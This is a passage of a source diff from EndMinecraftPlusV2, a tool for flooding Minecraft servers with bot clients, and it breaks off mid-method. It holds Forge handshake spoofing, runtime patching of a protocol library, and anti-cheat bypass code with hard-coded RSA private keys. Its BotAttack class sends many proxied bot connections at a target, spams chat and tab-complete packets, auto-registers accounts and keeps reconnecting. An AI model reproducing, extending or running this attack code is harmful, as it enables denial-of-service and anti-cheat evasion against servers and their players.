+        return (getProtocolVersion() == 5);
+    }
+
+    public static boolean isAfterVersion1_13() {
+        return (getProtocolVersion() >= 393);
+    }
+
+    public static int getProtocolVersion() {
+        try {
+            Class<?> cls;
+            try {
+                cls = Class.forName("com.github.steveice10.mc.protocol.ProtocolConstants");
+            } catch (ClassNotFoundException e) {
+                cls = Class.forName("com.github.steveice10.mc.protocol.MinecraftConstants");
+            }
+
+            Field field = cls.getDeclaredField("PROTOCOL_VERSION");
+            return field.getInt(null);
+        } catch (Exception e) {
+            LogUtil.doLog(1, "检测Minecraft协议版本时发生错误!", null);
+            LogUtil.doLog(0, "=========================================================", "ForgeSupport");
+            LogUtil.doLog(0, " 如果你不知道这是什么，请查阅", "ForgeSupport");
+            LogUtil.doLog(0, " https://minecraft.fandom.com/zh/wiki/协议版本?variant=zh", "ForgeSupport");
+            LogUtil.doLog(0, "=========================================================", "ForgeSupport");
+            LogUtil.doLog(-1, "请手动输入协议版本: ", "ForgeSupport");
+            Scanner scanner = new Scanner(System.in);
+            return Integer.parseInt(scanner.nextLine());
+        }
+    }
+}

src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeHandShake.java

@@ -0,0 +1,14 @@
+package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol;
+
+import com.github.steveice10.packetlib.packet.Packet;
+
+public abstract class MCForgeHandShake {
+    protected MCForge forge;
+
+    public MCForgeHandShake(MCForge forge) {
+        this.forge = forge;
+    }
+
+    public abstract void handle(Packet recvPacket);
+    public abstract String getFMLVersion();
+}

src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeHandShakeV1.java

@@ -0,0 +1,75 @@
+package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol;
+
+import com.github.steveice10.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
+import com.github.steveice10.mc.protocol.packet.ingame.server.ServerPluginMessagePacket;
+import com.github.steveice10.packetlib.Session;
+import com.github.steveice10.packetlib.io.stream.StreamNetOutput;
+import com.github.steveice10.packetlib.packet.Packet;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+
+public class MCForgeHandShakeV1 extends MCForgeHandShake {
+    public MCForgeHandShakeV1(MCForge forge) {
+        super(forge);
+    }
+
+    public void handle(Packet recvPacket) {
+        ServerPluginMessagePacket packet = (ServerPluginMessagePacket) recvPacket;
+        Session session = forge.session;
+
+        byte[] data = packet.getData();
+        int packetID = data[0];
+
+        switch (packetID) {
+        case 0: // Hello
+            sendPluginMessage(session, packet.getChannel(), new byte[] { 0x01, 0x02 });
+
+            // ModList
+            ByteArrayOutputStream buf = new ByteArrayOutputStream();
+            StreamNetOutput out = new StreamNetOutput(buf);
+            try {
+                out.writeVarInt(2);
+                out.writeByte(forge.modList.size());
+                forge.modList.forEach((k, v) -> {
+                    try {
+                        out.writeString(k);
+                        out.writeString(v);
+                    } catch (IOException e) {
+                        e.printStackTrace();
+                    }
+                });
+            } catch (IOException e) {
+                e.printStackTrace();
+            }
+            sendPluginMessage(session, packet.getChannel(), buf.toByteArray());
+            break;
+        case 2: // ModList
+            sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x02 }); // ACK(WAITING SERVER DATA)
+            break;
+        case 3: // RegistryData
+            sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x03 }); // ACK(WAITING SERVER COMPLETE)
+            break;
+        case -1: // HandshakeAck
+            int ackID = data[1];
+            switch (ackID) {
+            case 2: // WAITING CACK
+                sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x04 }); // PENDING COMPLETE
+                break;
+            case 3: // COMPLETE
+                sendPluginMessage(session, packet.getChannel(), new byte[] { -0x1, 0x05 }); // COMPLETE
+                break;
+            default:
+            }
+        default:
+        }
+    }
+
+    public String getFMLVersion() {
+        return "FML";
+    }
+
+    private void sendPluginMessage(Session session, String channel, byte[] data) {
+        session.send(new ClientPluginMessagePacket(channel, data));
+    }
+}

src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeHandShakeV2.java

@@ -0,0 +1,158 @@
+package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol;
+
+import com.github.steveice10.mc.protocol.packet.login.client.LoginPluginResponsePacket;
+import com.github.steveice10.mc.protocol.packet.login.server.LoginPluginRequestPacket;
+import com.github.steveice10.packetlib.io.buffer.ByteBufferNetInput;
+import com.github.steveice10.packetlib.io.stream.StreamNetOutput;
+import com.github.steveice10.packetlib.packet.Packet;
+
+import java.io.ByteArrayOutputStream;
+import java.io.IOException;
+import java.nio.ByteBuffer;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+public class MCForgeHandShakeV2 extends MCForgeHandShake {
+    private final int Packet_S2CModList = 1;
+    private final int Packet_C2SModListReply = 2;
+    private final int Packet_S2CRegistry = 3;
+    private final int Packet_S2CConfigData = 4;
+    private final int Packet_C2SAcknowledge = 99;
+
+    public MCForgeHandShakeV2(MCForge forge) {
+        super(forge);
+    }
+
+    public void handle(Packet recvPacket) {
+        LoginPluginRequestPacket packet = (LoginPluginRequestPacket) recvPacket;
+        if (!packet.getChannel().equals("fml:loginwrapper")) return;
+
+        try {
+            LoginWrapper loginWrapper = new LoginWrapper().fromBytes(packet.getData());
+            String targetNetworkReceiver = loginWrapper.getTargetNetworkReceiver();
+            ByteBufferNetInput in = new ByteBufferNetInput(ByteBuffer.wrap(loginWrapper.getPayload()));
+
+            int packetID = in.readByte();
+            switch (packetID) {
+                case Packet_S2CModList: {
+                    // recv: S2CModList
+                    final List<String> mods = new ArrayList<>();
+                    int len = in.readVarInt();
+                    for (int x = 0; x < len; x++)
+                        mods.add(in.readString());
+
+                    final Map<String, String> channels = new HashMap<>();
+                    len = in.readVarInt();
+                    for (int x = 0; x < len; x++)
+                        channels.put(in.readString(), in.readString());
+
+                    final List<String> registries = new ArrayList<>();
+                    len = in.readVarInt();
+                    for (int x = 0; x < len; x++)
+                        registries.add(in.readString());
+                    // send: C2SModListReply
+                    ByteArrayOutputStream buf = new ByteArrayOutputStream();
+                    StreamNetOutput out = new StreamNetOutput(buf);
+
+                    out.writeByte(Packet_C2SModListReply);
+
+                    out.writeVarInt(mods.size());
+                    mods.forEach(m -> {
+                        try {
+                            out.writeString(m);
+                        } catch (IOException e) {
+                            e.printStackTrace();
+                        }
+                    });
+
+                    out.writeVarInt(channels.size());
+                    channels.forEach((k, v) -> {
+                        try {
+                            out.writeString(k);
+                            out.writeString(v);
+                        } catch (IOException e) {
+                            e.printStackTrace();
+                        }
+                    });
+
+                    // TODO: Fill with known hashes, which requires keeping a file cache (FMLHandshakeMessages.java)
+                    out.writeVarInt(0); // empty map
+                    /*
+                    out.writeVarInt(registries.size());
+                    registries.forEach(r -> {
+                        try {
+                            out.writeString(r);
+                            out.writeString("");
+                        } catch (IOException e) {
+                            e.printStackTrace();
+                        }
+                    });
+                    */
+
+                    reply(packet.getMessageId(), targetNetworkReceiver, buf.toByteArray());
+                    break;
+                }
+                case Packet_S2CRegistry:
+                case Packet_S2CConfigData: {
+                    // recv: S2CRegistry
+                    // send: C2SAcknowledge
+                    ByteArrayOutputStream buf = new ByteArrayOutputStream();
+                    StreamNetOutput out = new StreamNetOutput(buf);
+
+                    out.writeByte(Packet_C2SAcknowledge);
+
+                    reply(packet.getMessageId(), targetNetworkReceiver, buf.toByteArray());
+                    break;
+                }// recv: S2CConfigData
+            }
+        } catch (Exception ex) {
+            forge.session.disconnect("Failure to handshake", ex);
+        }
+    }
+
+    public String getFMLVersion() {
+        return "FML2";
+    }
+
+    private void reply(int id, String targetNetworkReceiver, byte[] payload) throws IOException {
+        forge.session.send(new LoginPluginResponsePacket(id, new LoginWrapper(targetNetworkReceiver, payload).toBytes()));
+    }
+
+    static class LoginWrapper {
+        private String targetNetworkReceiver;
+        private byte[] payload;
+
+        public LoginWrapper() {}
+        public LoginWrapper(String targetNetworkReceiver, byte[] payload) {
+            this.targetNetworkReceiver = targetNetworkReceiver;
+            this.payload = payload;
+        }
+
+        public LoginWrapper fromBytes(byte[] bytes) throws IOException {
+            ByteBufferNetInput in = new ByteBufferNetInput(ByteBuffer.wrap(bytes));
+            this.targetNetworkReceiver = in.readString();
+            this.payload = in.readBytes(in.readVarInt());
+            return this;
+        }
+
+        public byte[] toBytes() throws IOException {
+            ByteArrayOutputStream buf = new ByteArrayOutputStream();
+            StreamNetOutput pb = new StreamNetOutput(buf);
+            pb.writeString(targetNetworkReceiver);
+            pb.writeVarInt(payload.length);
+            pb.writeBytes(payload);
+
+            return buf.toByteArray();
+        }
+
+        public String getTargetNetworkReceiver() {
+            return this.targetNetworkReceiver;
+        }
+
+        public byte[] getPayload() {
+            return this.payload;
+        }
+    }
+}

src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeInject.java

@@ -0,0 +1,52 @@
+package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol;
+
+import javassist.ClassPool;
+import javassist.CtClass;
+import javassist.CtMethod;
+
+public class MCForgeInject {
+    public static boolean inject() {
+
+        try {
+            if (MCForge.isVersion1710()) {
+                injectPluginMessage();
+                injectTryCatch("com.github.steveice10.mc.protocol.packet.ingame.server.entity.spawn.ServerSpawnMobPacket", "read",
+                        "{$1.readBytes($1.available());return;}");
+                injectTryCatch("com.github.steveice10.mc.protocol.packet.ingame.server.world.ServerUpdateTileEntityPacket",
+                        "read", "{$1.readBytes($1.available());return;}");
+                injectTryCatch("com.github.steveice10.packetlib.packet.PacketProtocol", "createIncomingPacket",
+                        "{return luohuayu.MCForgeProtocol.MCForgeUtils.createUnknowPacket();}");
+            } else {
+                ClassPool classPool = ClassPool.getDefault();
+                CtClass ctClass = classPool.getOrNull("com.github.steveice10.mc.protocol.data.MagicValues");
+                if (ctClass == null)
+                    ctClass = classPool.get("com.github.steveice10.mc.protocol.data.game.MagicValues");
+                CtMethod method1 = ctClass.getDeclaredMethod("key");
+                method1.addCatch("{return null;}", classPool.get("java.lang.Exception"));
+                CtMethod method2 = ctClass.getDeclaredMethod("value");
+                method2.addCatch("{return null;}", classPool.get("java.lang.Exception"));
+                ctClass.toClass();
+            }
+            return true;
+        } catch (Exception e) {
+            return false;
+        }
+    }
+
+    public static void injectPluginMessage() throws Exception {
+        ClassPool classPool = ClassPool.getDefault();
+        CtClass ctClass = classPool.get("com.github.steveice10.mc.protocol.packet.ingame.server.ServerPluginMessagePacket");
+        CtMethod method = ctClass.getDeclaredMethod("read");
+        method.setBody("{this.channel=$1.readString();\n"
+                + "this.data=$1.readBytes(luohuayu.MCForgeProtocol.MCForgeUtils.readVarShort($1));}");
+        ctClass.toClass();
+    }
+
+    public static void injectTryCatch(String cls, String func, String code) throws Exception {
+        ClassPool classPool = ClassPool.getDefault();
+        CtClass ctClass = classPool.get(cls);
+        CtMethod method = ctClass.getDeclaredMethod(func);
+        method.addCatch(code, classPool.get("java.lang.Exception"));
+        ctClass.toClass();
+    }
+}

src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeMOTD.java

@@ -0,0 +1,141 @@
+package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol;
+
+import com.google.gson.Gson;
+
+import java.io.ByteArrayOutputStream;
+import java.io.DataInputStream;
+import java.io.DataOutputStream;
+import java.io.IOException;
+import java.net.InetSocketAddress;
+import java.net.Socket;
+import java.util.HashMap;
+import java.util.Map;
+
+public class MCForgeMOTD {
+    public Map<String, String> pingGetModsList(String ip, int port, int version) {
+        Map<String, String> modList = new HashMap<String, String>();
+        Socket socket = new Socket();
+        try {
+            socket.connect(new InetSocketAddress(ip, port));
+            if(socket.isConnected()) {
+                DataOutputStream out = new DataOutputStream(socket.getOutputStream());
+
+                ByteArrayOutputStream packet = new ByteArrayOutputStream();
+                DataOutputStream packetOut = new DataOutputStream(packet);
+
+                packetOut.writeByte(0); // handshake packet id
+                writeVarInt(packetOut, version); // version
+                writeVarInt(packetOut, ip.length()); // host length
+                packetOut.writeBytes(ip); // host
+                packetOut.writeShort(port); // port
+                writeVarInt(packetOut, 1); // next to status
+
+                writeVarInt(out, packet.size()); // packet length
+                out.write(packet.toByteArray()); // handshake packet
+
+                out.writeByte(1); // packet length
+                out.writeByte(0); // status packet id
+
+                out.flush();
+
+                DataInputStream in = new DataInputStream(socket.getInputStream());
+                readVarInt(in); // packet length
+                int packetID = readVarInt(in);
+                int dataLength = readVarInt(in);
+
+                if (packetID == 0 && dataLength > 0) { // Response
+                    byte[] responseData = new byte[dataLength];
+                    in.readFully(responseData);
+                    Response response = new Gson().fromJson(new String(responseData), Response.class);
+                    if (response.modinfo != null) {
+                        for (Response.ModInfo.ModID modid : response.modinfo.modList) {
+                            modList.put(modid.modid, modid.version);
+                        }
+                    }
+                }
+            }
+        } catch (Exception e) {
+            e.printStackTrace();
+            try {
+                if (socket.isConnected())
+                    socket.close();
+            } catch (IOException e1) {}
+        }
+        return modList;
+    }
+
+    /**
+     * @author thinkofdeath
+     * See: https://gist.github.com/thinkofdeath/e975ddee04e9c87faf22
+     */
+    public int readVarInt(DataInputStream in) throws IOException {
+        int i = 0;
+        int j = 0;
+        while (true) {
+            int k = in.readByte();
+
+            i |= (k & 0x7F) << j++ * 7;
+
+            if (j > 5)
+                throw new RuntimeException("VarInt too big");
+
+            if ((k & 0x80) != 128)
+                break;
+        }
+
+        return i;
+    }
+
+    /**
+     * @throws IOException
+     * @author thinkofdeath
+     * See: https://gist.github.com/thinkofdeath/e975ddee04e9c87faf22
+     */
+    public void writeVarInt(DataOutputStream out, int paramInt) throws IOException {
+        while (true) {
+            if ((paramInt & 0xFFFFFF80) == 0) {
+                out.writeByte(paramInt);
+                return;
+            }
+
+            out.writeByte(paramInt & 0x7F | 0x80);
+            paramInt >>>= 7;
+        }
+    }
+
+    class Response {
+        public Object description;
+        public Players players;
+        public Version version;
+        public ModInfo modinfo;
+
+        class Description {
+            public String text;
+            public String translate;
+
+            public String getDescription() {
+                return text != null ? text : translate;
+            }
+        }
+
+        class Players {
+            public int max;
+            public int online;
+        }
+
+        class Version {
+            public String name;
+            public int protocol;
+        }
+
+        class ModInfo {
+            public String type;
+            public ModID[] modList;
+
+            class ModID {
+                public String modid;
+                public String version;
+            }
+        }
+    }
+}

src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/MCForgeUtils.java

@@ -0,0 +1,25 @@
+package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol;
+
+import com.github.steveice10.packetlib.io.NetInput;
+
+import java.io.IOException;
+
+public class MCForgeUtils {
+    public static int readVarShort(NetInput in) throws IOException {
+        int low = in.readUnsignedShort();
+        int high = 0;
+        if ((low & 0x8000) != 0) {
+            low = low & 0x7FFF;
+            high = in.readUnsignedByte();
+        }
+        return ((high & 0xFF) << 15) | low;
+    }
+
+    public static UnknownPacket createUnknownPacket() {
+        try {
+            return UnknownPacket.class.newInstance();
+        } catch (Exception e) {
+            return null;
+        }
+    }
+}

src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/NewVersion/ForgeProtocol/UnknownPacket.java

@@ -0,0 +1,20 @@
+package cn.serendipityr.EndMinecraftPlusV2.VersionControl.NewVersion.ForgeProtocol;
+
+import com.github.steveice10.packetlib.io.NetInput;
+import com.github.steveice10.packetlib.io.NetOutput;
+import com.github.steveice10.packetlib.packet.Packet;
+
+import java.io.IOException;
+
+public class UnknownPacket implements Packet {
+    public boolean isPriority() {
+        return false;
+    }
+
+    public void read(NetInput in) throws IOException {
+        in.readBytes(in.available());
+    }
+
+    public void write(NetOutput out) {
+    }
+}

src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ACProtocol/AnotherStarAntiCheat.java

@@ -0,0 +1,103 @@
+package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ACProtocol;
+
+import io.netty.buffer.ByteBuf;
+import io.netty.buffer.ByteBufInputStream;
+import io.netty.buffer.ByteBufOutputStream;
+import io.netty.buffer.Unpooled;
+import org.spacehq.opennbt.NBTIO;
+import org.spacehq.opennbt.tag.builtin.ByteArrayTag;
+import org.spacehq.opennbt.tag.builtin.CompoundTag;
+import org.spacehq.opennbt.tag.builtin.ListTag;
+
+import javax.crypto.Cipher;
+import java.io.DataInputStream;
+import java.io.DataOutputStream;
+import java.io.IOException;
+import java.math.BigInteger;
+import java.security.KeyFactory;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+import java.security.spec.RSAPrivateKeySpec;
+import java.security.spec.RSAPublicKeySpec;
+import java.util.HashSet;
+
+public class AnotherStarAntiCheat {
+    private final RSAPublicKeySpec clientPublicKey;
+    private final RSAPrivateKeySpec clientPrivateKey;
+    private final RSAPrivateKeySpec serverPrivateKey;
+    private final Cipher clientPublicCipher;
+    private final Cipher clientPrivateCipher;
+
+    {
+        clientPublicKey = new RSAPublicKeySpec(new BigInteger("110765265706288445432931740098429930486184776709780238438557625017629729661573053311960037088088056476891441153774532896215697933861615265976216025080531157954939381061122847093245480153835410088489980899310444547515616362801564379991216339336084947840837937083577860481298666622413144703510357744423856873247"), new BigInteger("65537"));
+        clientPrivateKey = new RSAPrivateKeySpec(new BigInteger("127165929499203230494093636558638013965252017663799535492473366241186172657381802456786953683177089298103209968185180374096740166047543803456852621212768600619629127825926162262624471403179175000577485553838478368190967564483813134073944752700839742123715548482599351441718070230200126591331603170595424433351"), new BigInteger("8120442115967552979504430611683477858989268564673406717365778685618263462946775764555188689810276923151226539464042905009305546407509816095746345114598417659887966619863710400187548253486545871530930302536230539029867970428580758154100440676071461522806034959078299053007522099777875429363283152166104624633"));
+        serverPrivateKey = new RSAPrivateKeySpec(new BigInteger("110765265706288445432931740098429930486184776709780238438557625017629729661573053311960037088088056476891441153774532896215697933861615265976216025080531157954939381061122847093245480153835410088489980899310444547515616362801564379991216339336084947840837937083577860481298666622413144703510357744423856873247"), new BigInteger("46811199235043884723986609175064677734346396089701745030024727102450381043328026268845951862745851965156510759358732282931568208403881136178696846768321267356928789780189985031058525539943424151785807761491334305713351706700232920994479762308513198807509163912459260953727448797718901389753582140608347129153"));
+
+        try {
+            (clientPublicCipher = Cipher.getInstance("RSA")).init(1, KeyFactory.getInstance("RSA").generatePublic(clientPublicKey));
+            (clientPrivateCipher = Cipher.getInstance("RSA")).init(2, KeyFactory.getInstance("RSA").generatePrivate(clientPrivateKey));
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    private void ctsEncode(ByteBuf buf, byte[][] md5s) {
+        try {
+            CompoundTag nbt = new CompoundTag("");
+            ListTag strList = new ListTag("md5s", ByteArrayTag.class);
+            for (final byte[] md5 : md5s) {
+                strList.add(new ByteArrayTag("", md5));
+            }
+            nbt.put(strList);
+            NBTIO.writeTag(new DataOutputStream(new ByteBufOutputStream(buf)), nbt);
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    private byte[] stcDecode(ByteBuf buf) {
+        try {
+            CompoundTag nbt = (CompoundTag) NBTIO.readTag(new DataInputStream(new ByteBufInputStream(buf)));
+            return ((ByteArrayTag) nbt.get("salt")).getValue();    
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    public byte[] encodeCPacket(String[] md5s, String salt) {
+        try {
+            HashSet<byte[]> rsaMd5s = new HashSet<byte[]>();
+            for (String md5 : md5s) {
+                rsaMd5s.add(clientPublicCipher.doFinal(md5(md5 + salt).getBytes()));
+            }
+
+            ByteBuf buf = Unpooled.buffer();
+            buf.writeByte(1); // packet id
+            ctsEncode(buf, rsaMd5s.toArray(new byte[0][]));
+            return buf.array();
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    public String decodeSPacket(byte[] data) {
+        try {
+            ByteBuf buf = Unpooled.copiedBuffer(data);
+            buf.readByte(); // packet id
+            return new String(clientPrivateCipher.doFinal(stcDecode(buf)));
+        } catch (Exception e) {
+            throw new RuntimeException(e);
+        }
+    }
+
+    public String md5(String str) {
+        try {
+            MessageDigest md = MessageDigest.getInstance("MD5");
+            md.update(str.getBytes());
+            byte[] digest = md.digest();
+            return String.format("%0" + (digest.length << 1) + "x", new BigInteger(1, digest));
+        } catch (NoSuchAlgorithmException e) {
+            return null;
+        }
+    }
+}

src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/ACProtocol/AntiCheat3.java

@@ -0,0 +1,81 @@
+package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ACProtocol;
+
+import java.io.*;
+import java.math.BigInteger;
+import java.security.MessageDigest;
+import java.security.NoSuchAlgorithmException;
+import java.util.zip.GZIPInputStream;
+import java.util.zip.GZIPOutputStream;
+
+public class AntiCheat3 {
+
+    public byte[] getCheckData(String acFile, String code, String[] md5List) {
+        try {
+            byte[] buf1 = code.substring(0, 30).getBytes();
+
+            FileInputStream in = new FileInputStream(new File("lib", acFile));
+            byte[] buf2 = new byte[in.available()];
+            in.read(buf2);
+
+            byte[] buf3 = new byte[buf1.length + buf2.length];
+            System.arraycopy(buf1, 0, buf3, 0, buf1.length);
+            System.arraycopy(buf2, 0, buf3, buf1.length, buf2.length);
+
+            try {
+                in.close();
+            } catch (IOException e2) {
+            }
+
+            String result = "";
+            if (md5List != null) {
+                for (String md5 : md5List) {
+                    result += md5 + ",";
+                }
+            }
+            result += md5(buf3);
+            return compress(result);
+        } catch (IOException e) {
+            e.printStackTrace();
+            return null;
+        }
+    }
+
+    public byte[] compress(String str) {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        GZIPOutputStream gzip;
+        try {
+            gzip = new GZIPOutputStream(out);
+            gzip.write(str.getBytes());
+            gzip.close();
+        } catch (IOException e) {
+        }
+        return out.toByteArray();
+    }
+
+    public String uncompress(byte[] data) {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        ByteArrayInputStream in = new ByteArrayInputStream(data);
+        try {
+            GZIPInputStream ungzip = new GZIPInputStream(in);
+            byte[] buffer = new byte[256];
+            int n;
+            while ((n = ungzip.read(buffer)) >= 0) {
+                out.write(buffer, 0, n);
+            }
+        } catch (IOException e) {
+        }
+
+        return new String(out.toByteArray());
+    }
+
+    public String md5(byte[] buf) {
+        try {
+            MessageDigest md = MessageDigest.getInstance("MD5");
+            md.update(buf);
+            byte[] digest = md.digest();
+            return String.format("%0" + (digest.length << 1) + "x", new BigInteger(1, digest));
+        } catch (NoSuchAlgorithmException e) {
+            return null;
+        }
+    }
+}

src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/OldVersion/AttackUtils/Methods/BotAttack.java

@@ -0,0 +1,374 @@
+package cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.AttackUtils.Methods;
+
+import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ACProtocol.AnotherStarAntiCheat;
+import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ACProtocol.AntiCheat3;
+import cn.serendipityr.EndMinecraftPlusV2.VersionControl.AttackManager;
+import cn.serendipityr.EndMinecraftPlusV2.VersionControl.OldVersion.ForgeProtocol.MCForge;
+import cn.serendipityr.EndMinecraftPlusV2.Tools.*;
+import io.netty.util.internal.ConcurrentSet;
+import org.spacehq.mc.protocol.MinecraftProtocol;
+import org.spacehq.mc.protocol.data.message.Message;
+import org.spacehq.mc.protocol.packet.ingame.client.ClientChatPacket;
+import org.spacehq.mc.protocol.packet.ingame.client.ClientPluginMessagePacket;
+import org.spacehq.mc.protocol.packet.ingame.client.player.ClientPlayerMovementPacket;
+import org.spacehq.mc.protocol.packet.ingame.server.ServerChatPacket;
+import org.spacehq.mc.protocol.packet.ingame.server.ServerJoinGamePacket;
+import org.spacehq.mc.protocol.packet.ingame.server.ServerPluginMessagePacket;
+import org.spacehq.mc.protocol.packet.ingame.server.entity.player.ServerPlayerPositionRotationPacket;
+import org.spacehq.packetlib.Client;
+import org.spacehq.packetlib.Session;
+import org.spacehq.packetlib.event.session.*;
+import org.spacehq.packetlib.packet.Packet;
+import org.spacehq.packetlib.tcp.TcpSessionFactory;
+
+import java.io.InputStream;
+import java.io.OutputStream;
+import java.net.InetSocketAddress;
+import java.net.Proxy;
+import java.net.Socket;
+import java.util.*;
+import java.util.concurrent.ExecutorService;
+import java.util.concurrent.Executors;
+
+public class BotAttack extends IAttack {
+    public static HashMap<Client, String> clientName = new HashMap<>();
+    public static int failed = 0;
+    public static int joined = 0;
+    public static int rejoin = 0;
+    public static int clickVerifies = 0;
+    public static List<String> alivePlayers = new ArrayList<>();
+    protected boolean attack_motdbefore;
+    protected boolean attack_tab;
+    protected Map<String, String> modList;
+
+    private Thread mainThread;
+    private Thread tabThread;
+    private Thread taskThread;
+
+    public Set<Client> clients = new ConcurrentSet<>();
+    public ExecutorService pool = Executors.newCachedThreadPool();
+
+    private static final AntiCheat3 ac3 = new AntiCheat3();
+    private static final AnotherStarAntiCheat asac = new AnotherStarAntiCheat();
+
+    private long starttime;
+
+    public BotAttack(String ip, int port, int time, int maxconnect, long joinsleep) {
+        super(ip, port, time, maxconnect, joinsleep);
+    }
+
+    public void setBotConfig(boolean motdbefore, boolean tab, Map<String, String> modList) {
+        this.attack_motdbefore = motdbefore;
+        this.attack_tab = tab;
+        this.modList = modList;
+    }
+
+    public String getRandMessage(String userName) {
+        return ConfigUtil.CustomChat.get(new Random().nextInt(ConfigUtil.CustomChat.size())).replace("$rnd",OtherUtils.getRandomString(4,6).replace("$pwd",DataUtil.botRegPasswordsMap.get(userName)));
+    }
+
+    public void start() {
+        setTask(() -> {
+            while (true) {
+                for (Client c : clients) {
+                    if (c.getSession().isConnected()) {
+                        if (c.getSession().hasFlag("login")) {
+                            if (ConfigUtil.ChatSpam) {
+                                c.getSession().send(new ClientChatPacket(getRandMessage(clientName.get(c))));
+                            }
+
+                            OtherUtils.doSleep(ConfigUtil.ChatDelay);
+                        } else if (c.getSession().hasFlag("join")) {
+                            if (ConfigUtil.RegisterAndLogin) {
+                                for (String cmd:ConfigUtil.RegisterCommands) {
+                                    c.getSession().send(new ClientChatPacket(cmd.replace("$pwd",DataUtil.botRegPasswordsMap.get(clientName.get(c)))));
+                                    OtherUtils.doSleep(ConfigUtil.ChatDelay);
+                                }
+                            }
+
+                            c.getSession().setFlag("login", true);
+                        }
+                    }
+                }
+                OtherUtils.doSleep(5 * 1000);
+            }
+        });
+
+        this.starttime = System.currentTimeMillis();
+
+        mainThread = new Thread(() -> {
+            while (true) {
+                try {
+                    cleanClients();
+                    createClients(ip, port);
+                    OtherUtils.doSleep(10 * 1000);
+
+                    if (this.attack_time > 0 && (System.currentTimeMillis() - this.starttime) / 1000 > this.attack_time) {
+                        for (Client c : clients) {
+                            c.getSession().disconnect("");
+                        }
+                        stop();
+                        return;
+                    }
+                    LogUtil.doLog(0, "当前连接数: " + clients.size() + "个", "BotAttack");
+                } catch (Exception e) {
+                    LogUtil.doLog(1, "发生错误: " + e, null);
+                }
+            }
+        });
+
+        if (this.attack_tab) {
+            tabThread = new Thread(() -> {
+                while (true) {
+                    SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - BotAttack | 当前连接数: " + clients.size() + "个 | 失败次数: " + failed + "次 | 成功加入: " + joined + "次 | 当前存活: " + alivePlayers.size() + "个 | 点击验证: " + clickVerifies + "次 | 重进尝试: " + rejoin);
+
+                    for (Client c : clients) {
+                        if (c.getSession().isConnected() && c.getSession().hasFlag("join")) {
+                            MultiVersionPacket.sendTabPacket(c.getSession(), "/");
+                        }
+                    }
+
+                    OtherUtils.doSleep(10);
+                }
+            });
+        }
+
+        mainThread.start();
+        if (tabThread != null)
+            tabThread.start();
+        if (taskThread != null)
+            taskThread.start();
+    }
+
+    @SuppressWarnings("deprecation")
+    public void stop() {
+        mainThread.stop();
+        if (tabThread != null)
+            tabThread.stop();
+        if (taskThread != null)
+            taskThread.stop();
+    }
+
+    public void setTask(Runnable task) {
+        taskThread = new Thread(task);
+    }
+
+    private void cleanClients() {
+        clients.removeIf(c -> !c.getSession().isConnected());
+    }
+
+    private void createClients(final String ip, int port) {
+        Proxy.Type proxyType;
+        switch (ConfigUtil.ProxyType) {
+            case 2:
+                proxyType = Proxy.Type.SOCKS;
+                break;
+            case 1:
+            default:
+                proxyType = Proxy.Type.HTTP;
+                break;
+        }
+
+        for (String p: ProxyUtil.proxies) {
+            try {
+                String[] _p = p.split(":");
+                Proxy proxy = new Proxy(proxyType, new InetSocketAddress(_p[0], Integer.parseInt(_p[1])));
+                String[] User = AttackManager.getRandomUser().split("@");
+                Client client = createClient(ip, port, User[0], proxy);
+                client.getSession().setReadTimeout(Math.toIntExact(ConfigUtil.ConnectDelay));
+                client.getSession().setWriteTimeout(Math.toIntExact(ConfigUtil.ConnectDelay));
+                clientName.put(client, User[0]);
+                clients.add(client);
+                ProxyUtil.clientsProxy.put(client.getSession(), proxy);
+
+                if (this.attack_motdbefore) {
+                    pool.submit(() -> {
+                        getMotd(proxy, ip, port);
+                        client.getSession().connect(false);
+                    });
+                } else {
+                    client.getSession().connect(false);
+                }
+
+                if (this.attack_maxconnect > 0 && (clients.size() > this.attack_maxconnect))
+                    return;
+                if (this.attack_joinsleep > 0)
+                    OtherUtils.doSleep(attack_joinsleep);
+            } catch (Exception e) {
+                LogUtil.doLog(1, "发生错误: " + e, null);
+            }
+        }
+    }
+
+    public Client createClient(final String ip, int port, final String username, Proxy proxy) {
